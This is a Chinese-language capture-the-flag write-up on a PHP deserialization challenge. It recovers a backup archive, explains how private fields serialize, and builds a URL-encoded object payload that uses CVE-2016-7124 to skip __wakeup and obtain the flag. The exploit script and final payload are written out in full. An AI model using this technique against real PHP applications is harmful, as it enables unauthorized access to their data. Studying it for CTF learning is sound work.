打开题目:说有是备份网站
这不反手就试试
www.zip
?
下载到网站文件后,来看看
class.php
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
private问题
这里要注意的是两个变量都是private
型:
private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上0的前缀。字符串长度也包括所加前缀的长度
如果是protect
型:
声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此保护字段的字段名在序列化时,字段名前面会加上
\0*\0
的前缀
也就是说:
private
会在类名和字段名前都加上\x00
长度。这会增加两个字符长度
形似:\x00类名\x00字段名
protect
会在字段前加上\x00*\x00
。这会增加两个字符长度
形似:\x00*\x00字段名
所以一般碰上除public类型的,都会在反序列化时输出经过URL编码的形式
__wakeup()绕过(CVE-2016-7124)
这题再有一个就是__wakeup()
,会在反序化前自动调用
和它相反的__sleep()
会在序列化前自动调用
适用版本:
PHP5 < 5.6.25
PHP7 < 7.0.10
利用方式:序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
回到题目,脚本如下
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}}
$a=new Name('admin',100);
echo urlencode(serialize($a));
?>
输出得到O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D
将其中的对象属性个数调大,只要大于2即可
最后得到:
O%3A4%3A%22Name%22%3A3(改前面这数字)%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D